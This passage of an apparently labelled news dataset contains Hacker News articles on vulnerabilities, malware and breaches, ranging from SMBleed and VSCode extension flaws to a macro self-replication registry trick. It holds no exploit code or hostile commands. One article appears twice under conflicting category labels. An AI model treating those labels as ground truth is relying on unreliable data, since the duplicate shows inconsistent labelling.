Additionally, the master.php.net authentication system is said to be on a very old operating system and a version of PHP, raising the possibility that the attackers may have also exploited a vulnerability in the software to stage the attack.
As a consequence, the maintainers have migrated master.php.net to a new main.php.net system with support for TLS 1.2, in addition to resetting all existing passwords and storing passwords using bcrypt instead of a plain MD5 hash.

",Cyber_Attack
Newly Discovered Bugs in VSCode Extensions Could Lead to Supply Chain Attacks,https://thehackernews.com/2021/05/newly-discovered-bugs-in-vscode.html,"Severe security flaws uncovered in popular Visual Studio Code extensions could enable attackers to compromise local machines as well as build and deployment systems through a developer's integrated development environment (IDE).
The vulnerable extensions could be exploited to run arbitrary code on a developer's system remotely, in what could ultimately pave the way for supply chain attacks.
Some of the extensions in question are ""LaTeX Workshop,"" ""Rainbow Fart,"" ""Open in Default Browser,"" and ""Instant Markdown,"" all of which have cumulatively racked up about two million installations between them.
""Developer machines usually hold significant credentials, allowing them (directly or indirectly) to interact with many parts of the product,"" researchers from open-source security platform Snyk said in a deep-dive published on May 26. ""Leaking a developer's private key can allow a malicious stakeholder to clone important parts of the code base or even connect to production servers.""
VS Code extensions, like browser add-ons, allow developers to augment Microsoft's Visual Studio Code source-code editor with additional features like programming languages and debuggers relevant to their development workflows. VS Code is used by 14 million active users, making it a huge attack surface.
The attack scenarios devised by Snyk bank on the possibility that the installed extensions could be abused as a vector for supply chain attacks by exploiting weaknesses in the plugins to break into a developer system effectively. To that effect, the researchers examined VS Code extensions that had vulnerable implementations of local web servers.
In one case highlighted by Snyk researchers, a path traversal vulnerability identified in Instant Markdown could be leveraged by a nefarious actor with access to the local web server (aka localhost) to retrieve any file hosted on the machine by simply tricking a developer into clicking a malicious URL.
As a proof-of-concept (PoC) demonstration, the researchers showed it was possible to exploit this flaw to steal SSH keys from a developer who is running VS Code and has Instant Markdown or Open in Default Browser installed in the IDE. LaTeX Workshop, on the other hand, was found susceptible to a command injection vulnerability due to unsanitized input that could be exploited to run malicious payloads.
Lastly, an extension named Rainbow Fart was ascertained to have a zip slip vulnerability, which allows an adversary to overwrite arbitrary files on a victim's machine and gain remote code execution. In an attack formulated by the researchers, a specially-crafted ZIP file was sent over an ""import-voice-package"" endpoint used by the plugin and written to a location that's outside of the working directory of the extension.
""This attack could be used to overwrite files like '.bashrc' and gain remote code execution eventually,"" the researchers noted.
Although the flaws in the extensions have since been addressed, the findings are important in light of a series of security incidents that show how developers have emerged as a lucrative attack target, what with threat actors unleashing a variety of malware to compromise development tools and environments for other campaigns.
""What has been clear for third-party dependencies is also now clear for IDE plugins — they introduce an inherent risk to an application,"" Snyk researchers Raul Onitza-Klugman and Kirill Efimov said. ""They're potentially dangerous both because of their custom written code pieces and the dependencies they are built upon. What has been shown here for VS Code might be applicable to other IDEs as well, meaning that blindly installing extensions or plugins is not safe (it never has been).""

",Malware
[Video] PayPal Remote Code Execution Vulnerability Demonstrated by Hacker,https://thehackernews.com/2015/04/paypal-remote-code-execution.html,"A critical remote code execution vulnerability has been reported in the eBay owned global e-commerce business PayPal that could be exploited by an attacker to execute arbitrary code on the PayPal's Marketing online-service web-application server.

The remote code execution flaw, discovered by an independent security researcher, Milan A Solanki, has been rated Critical by Vulnerability Lab with a CVSS count of 9.3 and affected the marketing online service web-application of PayPal.

The vulnerability resides in the Java Debug Wire Protocol (JDWP) protocol of the PayPal's marketing online service web-server.

Successful exploitation of the PayPal vulnerability could result in an unauthorized execution of system specific codes against the targeted system in order to completely compromise the company's web server, without any privilege or user interaction.

JDWP is a protocol that used for communication between a debugger and the Java virtual machine that it debugs. It is one layer of the Java Platform Debugger Architecture (JPDA).

However, JDWP does not use any authentication, but could be abused by hackers to execute arbitrary code remotely onto the affected Web server.

Solanki also provided a proof-of-concept video to demonstrate the hack in action. He used the jdwp-shellifier tool from Github to scan the marketing sites and found opened port 8000.

The opened port 8000 made him establish a connection to the service without any authentication that allowed him to execute his server-side codes with root privileges. This is nothing but a successful exploitation of the remote code execution flaw.

Solanki reported the vulnerability to the Paypal developer team, and without any long delay, the team fixed the flaw within four days after receiving the details from security researcher.

",Vulnerability
Android SwiftKey Keyboard turned into a Keylogger app,https://thehackernews.com/2013/03/android-swiftkey-keyboard-turned-into.html,"One of the best 3rd party Android Mobile Keyboard called 'SwiftKey' turned into a Keylogger Trojan by an Android developer to show the possible security threat of using pirated cracked apps from from non-official App Stores, ""anyone pirating Swiftkey is taking a serious risk"" developer said to 'The Hacker News'.
He demonstrated how to inject a Keylogger snippets of code into a legitimate Android Keyboard application that infected a mobile device with Trojan, connected with a remote server and transmitted data from the device inducing your all key logs.

""Cracked copies of PC and iPhone apps can have malware as well of course but on both those platforms most software is compiled to machine code. Android apps are coded in Java and compiled to byte code that is run on the Dalvik VM and this byte code is not that hard to edit and insert back into an APK."" he explained.

He developed a keylogger from SwiftKey(APK Download), a malicious Java program designed to collect and send all key logs to a remote server (Check Keylogs) Along with the host IP address. He explained the complete code also on his blog.

Android malware is growing at a far more rapid pace than for other mobile platforms. For a Cyber Criminals, it is not important to develop their own malware program from scratch, Reversing ready-mate apps and inserting malware code can easily make their job more easy.

Users really need to think about permissions and consider what the app is asking to do, and to be careful where they are downloading apps from.

",Malware
Tor anonymizing network Compromised by French researchers,https://thehackernews.com/2011/10/tor-anonymizing-network-compromised-by.html,"Tor anonymizing network Compromised by French researchers

French researchers from ESIEA, a French engineering school, have found and exploited some serious vulnerabilities in the TOR network. They performed an inventory of the network, finding 6,000 machines, many of whose IPs are accessible publicly and directly with the system's source code. They demonstrated that it is possible to take control of the network and read all the messages that circulate.

But there are also hidden nodes, the Tor Bridges, which are provided by the system that in some cases. Researchers have developed a script that, once again, to identify them. They found 181. ""We now have a complete picture of the topography of Tor,"" said Eric Filiol.

The specific attack involves creating a virus and using it to infect such vulnerable systems in a laboratory environment, and thus decrypting traffic passing through them again via an unknown, unmentioned mechanism. Finally, traffic is redirected towards infected nodes by essentially performing a denial of service on clean systems.

Researchers showed that one third of the nodes are vulnerable, ""sufficient in all cases so that we can easily infect and obtain system privileges,"" says the director. Researchers clone then a part of the network in order not to touch the real network, and they make a virus with which they will be able to take control of the machine.""This allows us to set the encryption keys and readers initialization of cryptographic algorithms and thus cancel two layers of encryption on all three,"" says Eric Filiol. The remaining flow can then be decrypted via a fully method of attack called ""to clear unknown"" based on statistical analysis.

To guide communication to nodes infected, researchers make unavailable all other nodes. To do this, they apply a double attack: localized congestion, which involves sending a large number of requests Tor on uninfected machines, and spinning the packet, which will enclose Tor servers in a loop circuit to fill them. The Tor protocol will then, naturally, to route calls to infected machines, and that's it.

However, if it is real, details are to be presented at Hackers to Hackers in São Paulo on October 29/30-2011. TOR is no more than an additional layer of obfuscation and should not be relied upon for anonymity or security. Like any darknet, it is a complement to application-layer encryption and authentication, no more.

",Vulnerability
MS Office Built-In Feature Could be Exploited to Create Self-Replicating Malware,https://thehackernews.com/2017/11/ms-office-macro-malware.html,"Earlier this month a cybersecurity researcher shared details of a security loophole with The Hacker News that affects all versions of Microsoft Office, allowing malicious actors to create and spread macro-based self-replicating malware.

Macro-based self-replicating malware, which basically allows a macro to write more macros, is not new among hackers, but to prevent such threats, Microsoft has already introduced a security mechanism in MS Office that by default limits this functionality.

Lino Antonio Buono, an Italian security researcher who works at InTheCyber, reported a simple technique (detailed below) that could allow anyone to bypass the security control put in place by Microsoft and create self-replicating malware hidden behind innocent-looking MS Word documents.

What's Worse? Microsoft refused to consider this issue a security loophole when contacted by the researcher in October this year, saying it's a feature intended to work this way only—just like MS Office DDE feature, which is now actively being used by hackers.

New 'qkG Ransomware' Found Using Same Self-Spreading Technique

Interestingly, one such malware is on its way to affect you. I know, that was fast—even before its public disclosure.

Just yesterday, Trend Micro published a report on a new piece of macro-based self-replicating ransomware, dubbed ""qkG,"" which exploits exactly the same MS office feature that Buono described to our team.

Trend Micro researchers spotted qkG ransomware samples on VirusTotal uploaded by someone from Vietnam, and they said this ransomware looks ""more of an experimental project or a proof of concept (PoC) rather than a malware actively used in the wild.""

The qkG ransomware employs Auto Close VBA macro—a technique that allows executing malicious macro when victim closes the document.
The latest sample of qkG ransomware now includes a Bitcoin address with a small ransom note demanding $300 in BTC as shown.

It should be noted that the above-mentioned Bitcoin address hasn't received any payment yet, which apparently means that this ransomware has not yet been used to target people.

Moreover, this ransomware is currently using the same hard-coded password: ""I'm QkG@PTM17! by TNA@MHT-TT2"" that unlocks affected files.

Here's How this New Attack Technique Works
In order to make us understand the complete attack technique, Buono shared a video with The Hacker News that demonstrates how an MS Word document equipped with malicious VBA code could be used to deliver a self-replicating multi-stage malware.

If you are unaware, Microsoft has disabled external (or untrusted) macros by default and to restrict default programmatic access to Office VBA project object model, it also offers users to manually enable ""Trust access to the VBA project object model,"" whenever required.
With ""Trust access to the VBA project object model"" setting enabled, MS Office trusts all macros and automatically runs any code without showing security warning or requiring user's permission.

Buono found that this setting can be enabled/disabled just by editing a Windows registry, eventually enabling the macros to write more macros without user's consent and knowledge.
As shown in the video, a malicious MS Doc file created by Buono does the same—it first edits the Windows registry and then injects same macro payload (VBA code) into every doc file that the victim creates, edits or just opens on his/her system.

Victims Will be Unknowingly Responsible for Spreading Malware Further

In other words, if the victim mistakenly allows the malicious doc file to run macros once, his/her system would remain open to macro-based attacks.

Moreover, the victim will also be unknowingly responsible for spreading the same malicious code to other users by sharing any infected office files from his/her system.

This attack technique could be more worrisome when you receive a malicious doc file from a trusted contact who have already been infected with such malware, eventually turning you into its next attack vector for others.

Although this technique is not being exploited in the wild, the researcher believes it could be exploited to spread dangerous self-replicating malware that could be difficult to deal with and put an end.

Since this is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code, neither the tech company has any plans of issuing a patch that would restrict this functionality.

Buono suggests ""In order to (partially) mitigate the vulnerability it is possible to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator.""

The best way to protect yourself from such malware is always to be suspicious of any uninvited documents sent via an email and never click on links inside those documents unless adequately verifying the source.

",Vulnerability
"IoT Botnet — 25,000 CCTV Cameras Hacked to launch DDoS Attack",https://thehackernews.com/2016/06/cctv-camera-hacking.html,"The Internet of Things (IoTs) or Internet-connected devices are growing at an exponential rate and so are threats to them.

Due to the insecure implementation, these Internet-connected embedded devices, including Smart TVs, Refrigerators, Microwaves, Set-top boxes, Security Cameras and printers, are routinely being hacked and used as weapons in cyber attacks.

We have seen how hackers literally turned more than 100,000 Smart TVs and Refrigerator into the cyber weapon to send out millions of malicious spam emails for hacking campaigns; we have also seen how hackers abused printers and set-top-boxes to mine Bitcoins.

And now…

Cyber crooks are hacking CCTV cameras to form a massive botnet that can blow large websites off the Internet by launching Distributed Denial-of-service (DDoS) attacks.

Researchers at Security firm Sucuri came across a botnet of over 25,000 CCTV cameras targeting business around the globe while defending a small jewelry shop against a DDoS attack.

Also Read: Drones Can Find and Hack Internet-of-Things Devices From the Sky.

The jewelry shop website was flooded with almost 35,000 HTTP requests per second due to which its website was unreachable to legitimate users.

However, when Sucuri attempted to prevent the network flood by using a network addressing and routing system called Anycast, the botnet increased the number of HTTP requests on the store's website to more than 50,000 per second.

The attack researchers were talking about was a massive Layer 7 DDoS attack that overwhelmed Web servers, occupying their resources and crashing websites.

The DDoS attack continued for days, causing researchers curious about its origin. When they dug more, they discovered that the requests were coming from internet-connected CCTV cameras that had been remotely hijacked by cyber criminals to attack other services.
""It is not new that attackers have been using IoT devices to start their DDoS campaigns. However, we have not analyzed one that leveraged only CCTV devices and was still able to generate this quantity of requests for so long,"" said Sucuri CTO Daniel Cid.
The IP addresses of CCTV boxes causing DDoS attack were coming from no fewer than 105 countries around the world. The Sucuri researchers noted a total of 25,513 unique IP addresses within few hours. Some of these addresses were IPv6.

Also Read: Hacker-Friendly Search Engine that Lists Every Internet-Connected Device.

This is not the first incident when hackers have hijacked CCTV cameras to launch DDoS attack against services. Late last year, Imperva's Incapsula team warned about a massive DDoS botnet of CCTV cameras running embedded versions of Linux and the BusyBox toolkit.

Since the Internet of Things is rapidly growing and changing the way we use technology, it drastically expands the attack surface, and when viewed from the vantage point of information security, IoT can be frightening.

",Malware
Las Vegas Sands' Casino Network hit by Destructive Malware,https://thehackernews.com/2014/12/las-vegas-casino-hacked.html,"Sony Pictures Entertainment hack that started at the end of the last month and so far has caused a severe damage to its reputation as well as resources, from internal system shutdown to upcoming movies and scripts leak. Now, a similar cyber attack against Casino operator Las Vegas Sands Corp has been revealed that occurred on February 2014.

The cyber attack occurred on this year's February but the details of damages to the casino was not publicized until Bloomberg Businessweek exposed it in a story on Thursday. Hackers crippled thousands of servers and computers across the network of the giant Las Vegas Sands Corp. by wiping them with highly destructive malware.

The hack attack was believed to be in response to the statement given by the chief executive officer and largest shareholder of Las Vegas Sands Corp., Sheldon Adelson. On October 2013, the billionaire made a statement at the Manhattan campus of Yeshiva University that Iran should be bombed to get the country to abandon its own nuclear program.
""What I would do,"" he said during the panel, rather than negotiating, ""would be to say, 'Do you see that desert over there? I want to show you something.' You pick up your cell phone and you call somewhere in Nebraska and you say 'Ok let it go.'…Then you say, 'See? The next one is in the middle of Tehran.""
This statement given by Adelson circulated on all over the Internet and reached Iran's Supreme Leader Ayatollah Ali Khameeni, who responded after two weeks later and said that the American government should ""slap these prating people in the mouth and crush their mouths.""

Two months later, the attackers attacked the Las Vegas Sands' IT network to destroy the corporation and continues their attacks last January on the company's virtual private network gateway at its slots casino in Bethlehem, Pennsylvania.

The attack went worse in February, when hackers breached server for the casino's website and used an open tool to fetch usernames and passwords. Finally, they found the credentials of a senior systems engineer who had visited the Bethlehem site from Las Vegas, which gave them keys to the corporate castle. The attackers wiped out data on computers and servers and erased hard drives, as malware ripped through the company's networks.
""Those credentials got the hackers into the gaming company's servers in Las Vegas,"" Bloomberg reported. ""As they rifled through the master network, the attackers readied a malware bomb. Typing from a Sony (SNE) VAIO computer, they compiled a small piece of code, only about 150 lines long, in the Visual Basic programming language.""
Hackers posted personal information about Sands Bethlehem employees, stolen email addresses and social security numbers. They also left personal messages for Adelson, ""Encouraging the use of Weapons of Mass Destruction, UNDER ANY CONDITION, is a Crime, signed, the Anti WMD Team,"" said one. ""Damn A, Don't let your tongue cut your throat,"" warned another.

The virus was written in a Visual basic language, which is a common desktop programming language. Visual basic malwares were used in past because of a limitation that it runs on Windows system.

A spokesperson for cybersecurity firm Dell SecureWorks, who was brought to clean up the after-damage caused to the company and determine its actual cause, denied to comment on the issue due to the policy made by the company not to discuss work done for a customer.

Also, the company spokesman Ron Reese declined to comment on the details provided in the report published by Bloomberg, saying, ""I'm not going to confirm anything that was speculated or written in the Bloomberg story.""

",Cyber_Attack
Outlook for Web Bans 38 More File Extensions in Email Attachments,https://thehackernews.com/2019/09/email-attachment-malware.html,"Malware or computer virus can infect your computer in several different ways, but one of the most common methods of its delivery is through malicious file attachments over emails that execute the malware when you open them.

Therefore, to protect its users from malicious scripts and executable, Microsoft is planning to blacklist 38 additional file extensions by adding them to its list of file extensions that are blocked from being downloaded as attachments in Outlook on the Web.

Previously known as Outlook Web Application or OWA, ""Outlook on the Web"" is Microsoft's web-based email client for users to access their emails, calendars, tasks and contacts from Microsoft's on-premises Exchange Server and cloud-based Exchange Online.

The list of blocked file extensions currently has 104 entries, including .exe, .url, .com, .cmd, .asp, .lnk, .js, .jar, .tmp, .app, .isp, .hlp, .pif, .msi, .msh, and more.

Now, the expanded block list will also include 38 new extensions in an upcoming update, preventing Outlook on the Web users from downloading attachments that have any of these 142 file extensions, until or unless an Outlook or Microsoft Exchange Server administrator has whitelisted any of them on purpose by removing it from the BlockedFileTypes list.

""We're always evaluating ways to improve security for our customers, and so we took the time to audit the existing blocked file list and update it to better reflect the file types we see as risks today,"" Microsoft says in a blog post.

""The newly blocked file types are rarely used, so most organizations will not be affected by the change. However, if your users are sending and receiving affected attachments, they will report that they are no longer able to download them.""

Here's the new file extensions added to the BlockedFileTypes list:

File extensions used by the Python scripting language: "".py"", "".pyc"", "".pyo"", "".pyw"", "".pyz"", "".pyzw""
Extensions used by the PowerShell scripting language: "".ps1"", "".ps1xml"", "".ps2"", "".ps2xml"", "".psc1"", "".psc2"", "".psd1"", "".psdm1"", "".psd1"", "".psdm1""
Extensions used for digital certificates: "".cer"", "".crt"", "".der""
Extensions used by the Java programming language: "".jar"", "".jnlp""
Extensions used by various applications: "".appcontent-ms"", "".settingcontent-ms"", "".cnt"", "".hpj"", "".website"", "".webpnp"", "".mcf"", "".printerexport"", "".pl"", "".theme"", "".vbp"", "".xbap"", "".xll"", "".xnk"", "".msu"", "".diagcab"", "".grp""

Microsoft writes that while the associated vulnerabilities with various applications have been patched, ""they are being blocked for the benefit of organizations that might still have older versions of the application software in use.""

""Security of our customer's data is our utmost priority, and we hope our customers will understand and appreciate this change. Change can be disruptive, so we hope the information here explains what we're doing and why,"" the company says.

Just like Microsoft, Google, the largest email provider, also maintains a list of blocked file extensions that the company considers harmful to its Gmail users, preventing them from attaching or downloading certain types of files.

These blacklisted files include .ade, .adp, .apk, .appx, .appxbundle, .bat, .cab, .chm, .cmd, .com, .cpl, .dll, .dmg, .exe, .hta, .ins, .isp, .iso, .jar, .js, .jse, .lib, .lnk, .mde, .msc, .msi, .msix, .msixbundle, .msp, .mst, .nsh, .pif, .ps1, .scr, .sct, .shb, .sys, .vb, .vbe, .vbs, .vxd, .wsc, .wsf, .wsh.
",Malware
"Microsoft Windows Zero-Day Vulnerability ""CVE-2014-4114"" Used to Hack NATO",https://thehackernews.com/2014/10/microsoft-windows-zero-day_13.html,"Once again a Russian cyber espionage group has gained media attention by exploiting a Zero-day vulnerability in Microsoft's Windows operating system to spy on the North Atlantic Treaty Organization (NATO), Ukrainian and Polish government agencies, and a variety of sensitive European industries over the last year.

ZERO-DAY VULNERABILITY IN MICROSOFT WINDOWS
Researchers at cyber intelligence firm iSight Partners have discovered a zero-day vulnerability that impacts desktop and server versions of Windows, from Vista and Server 2008 to current versions. They also uncovered a latest cyber-spying campaign - suspected to be based in Russia - that uses this Zero-day vulnerability (CVE-2014-4114) to target government leaders and institutions for nearly five years.

The recently detected Russian hacking group is dubbed as ""Sandworm Team"" by iSIGHT Partners because it found references to the Frank Herbert's ""Dune"" science fiction series in the malicious software code used by the Russian hackers.

THE NOTORIOUS ZERO-DAY
The zero-day vulnerability is ""An exposed dangerous method vulnerability exists in the OLE package manager in Microsoft Windows and Server"" that ""allows an attacker to remotely execute arbitrary code,"" according to the report.
""The vulnerability exists because Windows allows the OLE packager (packager .dll) to download and execute INF files,"" iSight Partners writes. ""In the case of the observed exploit, specifically when handling Microsoft PowerPoint files, the packagers allows a Package OLE object to reference arbitrary external files, such as INF files, from untrusted sources. This will cause the referenced files to be downloaded in the case of INF files, to be executed with specific commands.""
The Russian hacking group is probably working for the government and has been active since at least 2009 and, according to iSight Partners, the cyber espionage campaign is still ongoing.

The intelligence firm began monitoring the hackers' activity in late 2013 and discovered the zero-day vulnerability in late August. It ""discovered a spear-phishing campaign targeting the Ukrainian government and at least one United States organization"" during the NATO summit in Wales, where member states discussed Russia's actions in Ukraine.
""On September 3rd, our research and labs teams discovered that the spear-phishing attacks relied on the exploitation of a zero-day vulnerability impacting all supported versions of Microsoft Windows (XP is not impacted) and Windows Server 2008 and 2012,"" iSight writes.
""A weaponized PowerPoint document was observed in these attacks. Though we have not observed details on what data was exfiltrated in this campaign, the use of this zero-day vulnerability virtually guarantees that all of those entities targeted fell victim to some degree.""
MICROSOFT TO RELEASE PATCH SOON
The threat intelligence firm said it reported the critical zero-day vulnerability to the Microsoft Corp. and held off on disclosing the problem so that the software maker had time to fix the flaw.

Microsoft plans to release a patch for the vulnerability on Tuesday patch in security bulletin MS14-060, as part of its monthly ""Patch Tuesday"" — an organized release of patches to vulnerabilities in the company's software. A Microsoft spokesman said the company plans to roll out an automatic update to the affected versions.

",Vulnerability
MS Office Built-In Feature Could be Exploited to Create Self-Replicating Malware,https://thehackernews.com/2017/11/ms-office-macro-malware.html,"Earlier this month a cybersecurity researcher shared details of a security loophole with The Hacker News that affects all versions of Microsoft Office, allowing malicious actors to create and spread macro-based self-replicating malware.

Macro-based self-replicating malware, which basically allows a macro to write more macros, is not new among hackers, but to prevent such threats, Microsoft has already introduced a security mechanism in MS Office that by default limits this functionality.

Lino Antonio Buono, an Italian security researcher who works at InTheCyber, reported a simple technique (detailed below) that could allow anyone to bypass the security control put in place by Microsoft and create self-replicating malware hidden behind innocent-looking MS Word documents.

What's Worse? Microsoft refused to consider this issue a security loophole when contacted by the researcher in October this year, saying it's a feature intended to work this way only—just like MS Office DDE feature, which is now actively being used by hackers.

New 'qkG Ransomware' Found Using Same Self-Spreading Technique

Interestingly, one such malware is on its way to affect you. I know, that was fast—even before its public disclosure.

Just yesterday, Trend Micro published a report on a new piece of macro-based self-replicating ransomware, dubbed ""qkG,"" which exploits exactly the same MS office feature that Buono described to our team.

Trend Micro researchers spotted qkG ransomware samples on VirusTotal uploaded by someone from Vietnam, and they said this ransomware looks ""more of an experimental project or a proof of concept (PoC) rather than a malware actively used in the wild.""

The qkG ransomware employs Auto Close VBA macro—a technique that allows executing malicious macro when victim closes the document.
The latest sample of qkG ransomware now includes a Bitcoin address with a small ransom note demanding $300 in BTC as shown.

It should be noted that the above-mentioned Bitcoin address hasn't received any payment yet, which apparently means that this ransomware has not yet been used to target people.

Moreover, this ransomware is currently using the same hard-coded password: ""I'm QkG@PTM17! by TNA@MHT-TT2"" that unlocks affected files.

Here's How this New Attack Technique Works
In order to make us understand the complete attack technique, Buono shared a video with The Hacker News that demonstrates how an MS Word document equipped with malicious VBA code could be used to deliver a self-replicating multi-stage malware.

If you are unaware, Microsoft has disabled external (or untrusted) macros by default and to restrict default programmatic access to Office VBA project object model, it also offers users to manually enable ""Trust access to the VBA project object model,"" whenever required.
With ""Trust access to the VBA project object model"" setting enabled, MS Office trusts all macros and automatically runs any code without showing security warning or requiring user's permission.

Buono found that this setting can be enabled/disabled just by editing a Windows registry, eventually enabling the macros to write more macros without user's consent and knowledge.
As shown in the video, a malicious MS Doc file created by Buono does the same—it first edits the Windows registry and then injects same macro payload (VBA code) into every doc file that the victim creates, edits or just opens on his/her system.

Victims Will be Unknowingly Responsible for Spreading Malware Further

In other words, if the victim mistakenly allows the malicious doc file to run macros once, his/her system would remain open to macro-based attacks.

Moreover, the victim will also be unknowingly responsible for spreading the same malicious code to other users by sharing any infected office files from his/her system.

This attack technique could be more worrisome when you receive a malicious doc file from a trusted contact who have already been infected with such malware, eventually turning you into its next attack vector for others.

Although this technique is not being exploited in the wild, the researcher believes it could be exploited to spread dangerous self-replicating malware that could be difficult to deal with and put an end.

Since this is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code, neither the tech company has any plans of issuing a patch that would restrict this functionality.

Buono suggests ""In order to (partially) mitigate the vulnerability it is possible to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator.""

The best way to protect yourself from such malware is always to be suspicious of any uninvited documents sent via an email and never click on links inside those documents unless adequately verifying the source.

",Cyber_Attack
SMBleed: A New Critical Vulnerability Affects Windows SMB Protocol,https://thehackernews.com/2020/06/SMBleed-smb-vulnerability.html,"Cybersecurity researchers today uncovered a new critical vulnerability affecting the Server Message Block (SMB) protocol that could allow attackers to leak kernel memory remotely, and when combined with a previously disclosed ""wormable"" bug, the flaw can be exploited to achieve remote code execution attacks.

Dubbed ""SMBleed"" (CVE-2020-1206) by cybersecurity firm ZecOps, the flaw resides in SMB's decompression function — the same function as with SMBGhost or EternalDarkness bug (CVE-2020-0796), which came to light three months ago, potentially opening vulnerable Windows systems to malware attacks that can propagate across networks.

The newly discovered vulnerability impacts Windows 10 versions 1903 and 1909, for which Microsoft today released security patches as part of its monthly Patch Tuesday updates for June.

The development comes as the US Cybersecurity and Infrastructure Security Agency (CISA) issued an advisory last week warning Windows 10 users to update their machines after exploit code for SMBGhost bug was published online last week.

SMBGhost was deemed so serious that it received a maximum severity rating score of 10.


""Although Microsoft disclosed and provided updates for this vulnerability in March 2020, malicious cyber actors are targeting unpatched systems with the new PoC, according to recent open-source reports,"" CISA said.

SMB, which runs over TCP port 445, is a network protocol that provides the basis for file sharing, network browsing, printing services, and interprocess communication over a network.

According to ZecOps researchers, the flaw stems from the way the decompression function in question (""Srv2DecompressData"") handles specially crafted message requests (e.g., SMB2 WRITE) sent to a targeted SMBv3 Server, allowing an attacker to read uninitialized kernel memory and make modifications to the compression function.

""The message structure contains fields such as the amount of bytes to write and flags, followed by a variable-length buffer,"" the researchers said. ""That's perfect for exploiting the bug since we can craft a message such that we specify the header, but the variable-length buffer contains uninitialized data.""

""An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system. To exploit the vulnerability against a server, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv3 server,"" Microsoft said in its advisory.

""To exploit the vulnerability against a client, an unauthenticated attacker would need to configure a malicious SMBv3 server and convince a user to connect to it,"" Microsoft added.


Worse, SMBleed can be chained with SMBGhost on unpatched Windows 10 systems to achieve remote code execution. The firm has also released a proof-of-concept exploit code demonstrating the flaws.


To mitigate the vulnerability, it's recommended that home and business users install the latest Windows updates as soon as possible.

For systems where the patch is not applicable, it's advised to block port 445 to prevent lateral movement and remote exploitation.

Microsoft's security guidance addressing SMBleed and SMBGhost in Windows 10 version 1909 and 1903 and Server Core for the same versions can be found here and here.

",Vulnerability
Biggest Free Hosting Company Hacked; 13.5 Million Plaintext Passwords Leaked,https://thehackernews.com/2015/10/free-web-hosting-hacking.html,"The world's most popular Free Web Hosting company 000Webhost has suffered a major data breach, exposing more than 13.5 Million of its customers' personal records.

The stolen data includes usernames, passwords in plain text, email addresses, IP addresses and last names of around 13.5 Million of 000Webhost's customers.

According to a recent report published by Forbes, the Free Hosting service provider 000Webhost was hacked in March 2015 by an anonymous hacker.

In a post on its official Facebook page, the hosting company has acknowledged the data breach and posted the following statement:
""We have witnessed a database breach on our main server. A hacker used an exploit in old PHP version to upload some files, gaining access to our systems. Although the whole database has been compromised, we are mostly concerned about the leaked client information.""
The stolen data was obtained by Troy Hunt, an Australian security researcher, who received the data from an anonymous source and also confirmed the authenticity of the data.
""By now there's no remaining doubt that the breach is legitimate and that impacted users will have to know,"" Hunt wrote in a blog post published Wednesday. ""I'd prefer that 000webhost be the ones to notify [its customer] though.""

000Webhost Ignored Data Breach Warnings Continuously

000Webhost web Hosting company repeatedly failed to pay attention to the early warnings by Troy Hunt and the Forbes journalist, but the company ultimately decided to ignore them.

What's even Worse?

The Web Hosting company did not even follow fundamental and standard security practices to ensure the security of its customers.

Data breaches are common these days. Just a few days back, we reported about a serious data breach at TalkTalk – the biggest phone and broadband provider in the UK that put the personal data of its 4 Million customers at risk.

But, What could a Security Breach lead to?
Severe damage to company's reputation
Loss of consumer trust
Thousands of dollars in penalties and fines
Personal data loss cost infinite
Temporary or Permanent Closure
Note: At the time of writing, 000webhost.com website is temporarily down.

What Should You Do Now?

For security reasons, the team at Free Hosting service has changed all customers' passwords to the random values and implemented encryption, without giving any direct notice to its affected customers.

That means, if you are one of those 13.5 Million 000webhost clients, then you need to follow the password reset process to generate a new password in order to access your account.

However, 000Webhost said: ""We removed all illegally uploaded pages as soon as we became aware of the [data] breach. Next, we changed all the passwords and increased their encryption to avoid such mishaps in the future.""

Storing customers passwords in plain text, ignoring early warnings, and then implementing encryption to prevent further damages.

Shall I clap for that?

",Data_Breaches
"Mikko Hypponen : Fight cybercrime, but keep the net free",https://thehackernews.com/2011/08/mikko-hypponen-fight-cybercrime-but.html,"Mikko Hypponen : Fight cybercrime, but keep the net free
Mikko Hypponen is an expert on cybercrime and chief research officer at F-Secure Corporation in Helsinki, Finland. TED is a nonprofit organization dedicated to ""Ideas worth spreading,"" which it distributes on its website.

In the real world, you only have to worry about the criminals who live in your city. But in the online world, you have to worry about criminals who could be on the other side of the planet. Online crime is always international because the Internet has no borders.

Today computer viruses and other malicious software are no longer written by hobbyist hackers seeking fame and glory among their peers, but by professional criminals who are making millions with their attacks. These criminals want access to your computer, your Paypal passwords and your credit card numbers.

Criminal online gangs recruit people with high level computing skills but no job opportunities in the real-world economy. There is now a global market for sinister crimeware -- viruses, worms, trojans, spyware -- that is produced and sold on underground market sites on the Web.

The international community has failed to address the real nature and extent of the problem. National police forces and legal systems are finding it extremely difficult to keep up with the rapid growth of online crime. They have limited resources and expertise to investigate online criminal activity. The victims, police, prosecutors and judges rarely uncover the full scope of the crimes that often take place across international boundaries. Action against the criminals is too slow, the arrests are few and far between, and too often the penalties are very light, especially compared with those attached to real-world crimes.

We are sending the wrong message to the criminals and that's why online crime is growing so fast. Right now would-be online criminals can see that the likelihood of their getting caught and punished is vanishingly small, yet the profits are great.

If a gunman walks into a bank and demands cash, the police are ready to leap into action. If international borders are crossed during such a crime, the international police agencies become involved. If the gunman is caught, there is always a trial and the bank will push the prosecutor for the maximum penalties possible.

This is not the case with online crime. Virtual gunmen are free to roam with almost nobody to stop them. Online crime is always international but local police authorities usually only have their local resources to conduct the investigation. Online crime is easier to carry out than ""offline"" crime and costs less to get started.

Computer security companies are doing their best to protect their customers' computers but little can be done directly by non-governmental organizations to fight the criminals at the heart of the matter. Anti-virus companies are not law enforcement, nor should they be. Tackling online crime requires a serious investment of resources on the international level and expert law enforcement agencies need to follow criminals into the online world.

Traditionally, international law enforcement has focused on large international crimes such as drug trafficking or smuggling. Countries involved in investigations like these can easily see the value of catching such criminals.

However, online crime is typically composed of small individual crimes. The attackers don't hack the bank, they hack the bank's customers. One victim might have only lost few hundred dollars from his bank account. Starting an international investigation looks like an overkill and thus getting international cooperation might be difficult. The problem is, of course, that there is more than one victim. A banking trojan botnet might steal money from tens of thousands of people at the same time.

